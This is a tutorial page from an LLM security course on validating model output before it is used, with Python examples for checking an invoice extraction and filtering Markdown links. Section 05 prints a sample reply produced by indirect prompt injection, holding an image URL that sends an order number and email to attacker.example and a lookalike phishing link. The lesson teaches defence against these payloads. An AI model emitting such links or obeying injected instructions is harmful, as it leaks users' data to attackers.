PromptisePromptise
Docs
GitHubGet started
Promptise - AI Framework LogoPromptise

The foundation layer for agentic intelligence. Build, secure and operate autonomous AI systems with Promptise Foundry.

pip install promptise

[01] Foundry

  • MCPcast
  • The Promptise Agent
  • Reasoning Engine
  • MCP
  • Agent Runtime
  • Prompt Engineering
  • Execution Engine
  • Agent Identity

[02] Resources

  • Documentation
  • GitHub
  • Guides
  • Learning Paths
  • Questions

[03] Company

  • About
  • Terms of Service
  • Privacy Policy
  • Cookie Policy
  • Subprocessors

© 2026 Promptise by Manser Ventures. All rights reserved.

Open source · Python

← Learning paths> LLM Security Course: Prompt Injection to Red Teaming
Lesson 06 / 12
50%

LLM Output Validation: Check Responses Before You Use Them

Validate LLM output before you act on it: schema, grounding and consistency checks, safe handling of links, SQL and HTML, and when to retry or escalate.

Intermediate10 minOutput ValidationHallucinationsStructured Outputs
All 12 lessons↓
  1. ✓LLM Security Risks: The OWASP Top 10 for LLM Apps Explained
  2. ✓What Is Prompt Injection? How It Works, With Examples
  3. ✓Secrets in Prompts: System Prompt Leakage and Safe Patterns
  4. ✓Secure Prompt Design: Separate Instructions From Data
  5. ✓LLM Input Validation: Why Regex Fails and What Works
  6. 06LLM Output Validation: Check Responses Before You Use Them
  7. 07RAG Security: Stop Poisoned Documents and Prompt Injection
  8. 08LLM Red Teaming: How to Test Your Own LLM Application
  9. 09LLM Hardening: Constrain Model Output When Prompts Fail
  10. 10LLM Security Monitoring: Detect Attacks With Audit Logs
  11. 11LLM Supply Chain Security: Models, Packages, Data and Tools
  12. 12LLM Security Checklist for Production Systems

Lessons in this path

  1. ✓LLM Security Risks: The OWASP Top 10 for LLM Apps Explained
  2. ✓What Is Prompt Injection? How It Works, With Examples
  3. ✓Secrets in Prompts: System Prompt Leakage and Safe Patterns
  4. ✓Secure Prompt Design: Separate Instructions From Data
  5. ✓LLM Input Validation: Why Regex Fails and What Works
  6. 06LLM Output Validation: Check Responses Before You Use Them
  7. 07RAG Security: Stop Poisoned Documents and Prompt Injection
  8. 08LLM Red Teaming: How to Test Your Own LLM Application
  9. 09LLM Hardening: Constrain Model Output When Prompts Fail
  10. 10LLM Security Monitoring: Detect Attacks With Audit Logs
  11. 11LLM Supply Chain Security: Models, Packages, Data and Tools
  12. 12LLM Security Checklist for Production Systems
← Path overview

LLM output validation means checking what a model returns before your code, your database or your users act on it. Model output can be malformed, made up, internally inconsistent, or carry an attacker's payload from an injected document. This guide is for developers who use model output for more than display: extraction, routing, generated queries, rendered answers. It walks through four checks (schema, grounding, consistency and safe handling) with runnable code and real output, and shows when to retry, escalate or accept.

[01]

How do you validate LLM output?

Treat model output like input from an untrusted user. First parse it against a strict schema, so wrong types and missing fields fail loudly. Then check that copied values actually appear in the source (grounding) and that the numbers and facts agree with each other (consistency). Finally, encode or sanitize the output for where it is going: HTML, SQL, a shell, a link. Decide in code what happens on each failure: retry, send to a person, or accept with a flag.

  • A valid schema is the start, not the end. Well-formed JSON can still hold invented or wrong values.

  • Grounding catches invention. If a value should come from the source, check that it does.

  • Consistency catches errors the model copied or made. Totals, dates and references can be checked in code.

  • Output is an attack path. Rendered links, generated SQL and shell commands need the same care as user input.

  • Every failure needs a decision rule, written down in code, not left to the model.


[02]

What can go wrong with LLM output?

Two kinds of things. The output can be wrong: the wrong shape, an invented value, a number that doesn't add up. The OWASP Top 10 for LLM applications calls the business side of this misinformation (LLM09:2025): systems that rely on false output. Or the output can be dangerous: text that becomes code when you use it. OWASP lists improper output handling (LLM05:2025) as its own risk, with examples such as model output passed to a shell or eval, generated SQL run without parameters, Markdown or JavaScript rendered in a browser, and file paths built from output.

Dangerous output often starts as prompt injection. An attacker can't run code on your server directly, but they can plant text that makes the model write a link, a query or a command, and then your code runs it. Output validation is where that chain gets cut.


[03]

How LLM output validation works

Run the checks in order. Each one is cheaper and more certain than the next, so failures surface early.

Model output passes four checks in order before it is used: schema (retry with the error on failure), grounding (escalate or null the field), consistency (escalate) and safe output, which always runs. Then the output is stored, displayed or used in a tool call.
FigureFour checks run in order on model output before it is used

The first three ask "is it correct?". The fourth asks "is it safe to use, even if it is correct?", and it runs on every output.


[04]

Worked example: verify an invoice extraction

An accounts-payable tool asks the model to extract an invoice into JSON. Here is the source:

Textinvoice.txt
1
2
3
4
5
6
7
8
9
10
11
12
INVOICE 2026-0917
From: Northwind Supplies, 14 Harbor Rd, Leeds
Bill to: Velo Bikes Ltd
Date: 12 September 2026

2 x Chain lube 500 ml      @ 8.50   = 17.00
4 x Brake pads (disc)      @ 12.25  = 49.00
1 x Workshop stand         @ 139.00 = 139.00

Subtotal 215.00
VAT 20%   43.00
Total due 258.00 GBP, payable within 30 days.

Look closely: the line items add up to 205.00, but the supplier billed a subtotal of 215.00. The prompt asked for invoice number, supplier, date, PO number, currency, line items, subtotal, VAT and total. The model's answer, trimmed:

Output
{
  "invoice_number": "2026-0917",
  "supplier": "Northwind Supplies, 14 Harbor Rd, Leeds",
  "date": "2026-09-12",
  "po_number": null,
  "currency": "GBP",
  "line_items": [
    {"description": "Chain lube 500 ml", "quantity": 2, "unit_price": 8.5, "line_total": 17.0},
    …
  ],
  "subtotal": 215.0,
  "vat": 43.0,
  "total": 258.0
}

The extraction is faithful. It even returned null for the PO number instead of inventing one. And it would still overpay the supplier, because the model copied the wrong subtotal without comment. That is the gap output validation fills: the model did what it was asked, and the result is still unsafe to act on.

The verifier

Pythonverify_invoice.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from datetime import date
from pydantic import BaseModel, ValidationError, condecimal

Money = condecimal(ge=0, max_digits=10, decimal_places=2)

class LineItem(BaseModel):
    description: str
    quantity: int
    unit_price: Money
    line_total: Money

class Invoice(BaseModel):
    invoice_number: str
    supplier: str
    date: date
    po_number: str | None
    currency: str
    line_items: list[LineItem]
    subtotal: Money
    vat: Money
    total: Money

def verify(raw: str, source: str) -> list[str]:
    # 1. Schema: is it the shape and type we expect?
    try:
        inv = Invoice.model_validate_json(raw)
    except ValidationError as e:
        return [f"schema: {err['loc']} {err['msg']}" for err in e.errors()]
    problems = []
    # 2. Grounding: do the copied values appear in the source?
    for field in ("invoice_number", "supplier"):
        if getattr(inv, field) not in source:
            problems.append(f"grounding: {field} {getattr(inv, field)!r} not in source")
    if inv.po_number and inv.po_number not in source:
        problems.append(f"grounding: po_number {inv.po_number!r} not in source")
    # 3. Consistency: do the numbers add up?
    for item in inv.line_items:
        if item.quantity * item.unit_price != item.line_total:
            problems.append(f"math: {item.description}: {item.quantity} x {item.unit_price} != {item.line_total}")
    lines = sum(i.line_total for i in inv.line_items)
    if lines != inv.subtotal:
        problems.append(f"math: line items sum to {lines}, subtotal says {inv.subtotal}")
    if inv.subtotal + inv.vat != inv.total:
        problems.append(f"math: subtotal + vat = {inv.subtotal + inv.vat}, total says {inv.total}")
    return problems

condecimal parses money as Decimal, so 2 x 8.50 == 17.00 is exact; floats would produce rounding mismatches.

On the real extraction above:

Output
math: line items sum to 205, subtotal says 215

To show the other two checks, here are two outputs edited by hand to contain failures models commonly produce, checked against a correct copy of the invoice. One has an invented PO number. The other has a date in the wrong format and a quantity written as a word:

Output
--- invented PO number
grounding: po_number 'PO-88412' not in source
--- wrong date format, quantity as text
schema: ('date',) Input should be a valid date or datetime, invalid character in year
schema: ('line_items', 0, 'quantity') Input should be a valid integer, unable to parse string as an integer

Each check catches a different failure, and none of them needs another model call.

Grounding beyond exact matches

Exact substring checks work for IDs, names and numbers copied from a source. For summaries and answers, where the model rephrases, you need a looser test: check that each claim is supported by a cited passage, ask a second model call to verify claims against the source, or sample several answers and compare them. The guides on hallucination checks and verification loops cover those techniques. They cost more and are less certain, so use exact checks wherever the data allows.


[05]

Worked example: strip links that leak data

A support assistant renders its replies as Markdown. A poisoned help-center article (indirect prompt injection) tells the model to include an image. Here is a reply after such an attack:

Text
Your order 5512 ships Friday. Track it [here](https://velo.example/track/5512).
![loading](https://attacker.example/pixel.png?d=order5512-dana%40mail.example)
More help: [refund form](https://velo.example.attacker.example/refund)

The image is the dangerous part. When the user's browser renders it, it requests the URL, and the query string sends the order number and email address to the attacker without a click. The second link is a phishing page on a lookalike host. Validate every link and image against an allowlist before rendering:

Pythonsafe_markdown.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
from urllib.parse import urlparse

ALLOWED_HOSTS = {"velo.example", "docs.velo.example"}
LINK = re.compile(r"(!?)\[([^\]]*)\]\(([^)\s]+)[^)]*\)")

def allowed(url: str) -> bool:
    p = urlparse(url)
    return p.scheme == "https" and p.hostname in ALLOWED_HOSTS

def safe_markdown(text: str) -> str:
    def repl(m):
        bang, label, url = m.groups()
        if allowed(url):
            return m.group(0)
        return "" if bang else f"{label} (link removed)"
    return LINK.sub(repl, text)
Output
Your order 5512 ships Friday. Track it [here](https://velo.example/track/5512).

More help: refund form (link removed)

The check compares the parsed hostname exactly, so velo.example.attacker.example fails even though it contains the allowed name. A substring or endswith("velo.example") check would let it through. In production, also set a Content Security Policy that limits where images can load from, so a missed case still can't reach the attacker's server. If you render HTML, sanitize it with a maintained library rather than regex.


[06]

Safe handling for each destination

Output goes to

Risk

What to do

A web page

XSS, tracking images, phishing links

Escape HTML; allowlist link and image hosts; strict CSP

A database query

SQL injection, destructive queries

Have the model return parameters, not SQL; use prepared statements; read-only credentials

A shell or eval

Remote code execution

Don't. Map output to a fixed set of commands, or run code in a sandbox

A file path

Path traversal

Resolve the path and check it stays under a base directory

An outbound request

Data exfiltration, SSRF

Allowlist hosts; never put private data in model-chosen URLs

An email or message

Phishing in your brand's name

Template the message; insert model text as escaped content

The pattern is the same everywhere: the model chooses values, your code builds the command. See AI agent code execution sandboxes for the case where running generated code is the point.


[07]

When to retry, escalate or accept

Write the rule for each failure type before you ship:

  • Schema errors: retry. Send the validation error back to the model ("date must be YYYY-MM-DD") and try once or twice. Format errors usually fix themselves on a retry. If they don't, stop and escalate.

  • Grounding errors: don't retry blindly. A model that invented a value once may invent a different one. Set the field to null and flag it, or send the item to a person.

  • Consistency errors involving money, health or legal effect: escalate. As the invoice shows, the error may be in the source, not the model. A person needs to look.

  • Low-stakes output: accept with a flag. A product description that fails a soft check can be shown with a note, or held back for review, depending on the cost of a mistake.

If you build prompts with Promptise Foundry, the checks that need only the output (schema and math) can run as an output guard, so every call is checked before it returns. Run the grounding check where you have both the output and the source.

Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from promptise.prompts import prompt
from promptise.prompts.guards import guard, output_validator, GuardError

def check_invoice(output: str) -> str:
    # Passing the output as its own source turns the grounding check off here.
    problems = verify(output, source=output)
    if problems:
        raise GuardError("; ".join(problems), guard_name="invoice_verifier")
    return output

@prompt(model="openai:gpt-5-mini")
@guard(output_validator(check_invoice))
async def extract_invoice(invoice: str) -> str:
    """Extract the invoice as JSON: invoice_number, supplier, date (YYYY-MM-DD), po_number,
currency, line_items, subtotal, vat, total.

{invoice}"""

[08]

When to validate output (and when not to)

Validate whenever output is stored, acted on, or rendered somewhere that interprets it. Extraction, classification, routing, generated queries, tool arguments and rendered chat replies all qualify. Light validation is enough for drafts a person edits before use, or brainstorming output nobody acts on. The safe-handling step is the exception: if output is rendered as HTML or Markdown, sanitize it every time, whatever it is for.


[09]

Common mistakes

Mistake

Why it fails

Fix

Trusting JSON because it parsed

Valid shape, invented or wrong values

Add grounding and consistency checks

Asking the model "are you sure?" as the check

The same model tends to confirm its own answer

Check in code, or verify against the source

Using floats for money

0.1 + 0.2 style errors trigger false alarms

Decimal types, as in condecimal

Rendering Markdown from the model as is

Images and links can leak data or phish users

Allowlist hosts by exact hostname; CSP

Running generated SQL or shell commands

Injection becomes code execution

Model returns parameters; code builds the command

Retrying every failure

Retries invent new wrong values and cost money

Retry format errors only; escalate the rest


[10]

Frequently asked questions

What is improper output handling in LLMs?

It is OWASP's name (LLM05:2025) for using model output without validating or encoding it, so it becomes code in another system. Examples include generated SQL run directly, model text rendered as HTML with scripts, and Markdown images that send data to an attacker's server. The fix is to treat output as untrusted and encode it for its destination.

How do you detect hallucinations in LLM output?

For data copied from a source, check that each value appears in the source. For rephrased answers, check each claim against cited passages, ask a separate verification call, or sample several answers and look for disagreement. No method is perfect, so combine them with decision rules for what happens when a check fails.

Is structured output enough to validate an LLM response?

No. Structured output, such as JSON mode or a response schema, guarantees the shape, not the content. The invoice example parsed perfectly and still held a wrong subtotal. Schema validation is the first step, followed by grounding, consistency and safe handling.

Should I use a second LLM to check the first?

It can help for checks that need understanding, such as whether a summary is supported by a source. Use it after cheap code checks, give it the source and a narrow question, and remember it can be wrong or be fooled by the same injected content. Never make it the only check for high-stakes output.

How do I stop an LLM from leaking data through links?

Allowlist the hosts that links and images may point to, compare parsed hostnames exactly, and remove everything else before rendering. Add a Content Security Policy as a backstop. Don't let the model build URLs that contain private data.


[11]

Next steps

  • Structured outputs without tears: get reliable JSON in the first place.

  • Hallucination basics and quick checks: spot invented facts.

  • Verification loops: model-based checks such as CoVe and SelfCheckGPT.

  • LLM input validation: the checks before the model.

  • What is prompt injection?: where dangerous output often starts.

  • LLM security risks: the full attack surface.

← PreviousLLM Input Validation: Why Regex Fails and What WorksNext lesson →RAG Security: Stop Poisoned Documents and Prompt Injection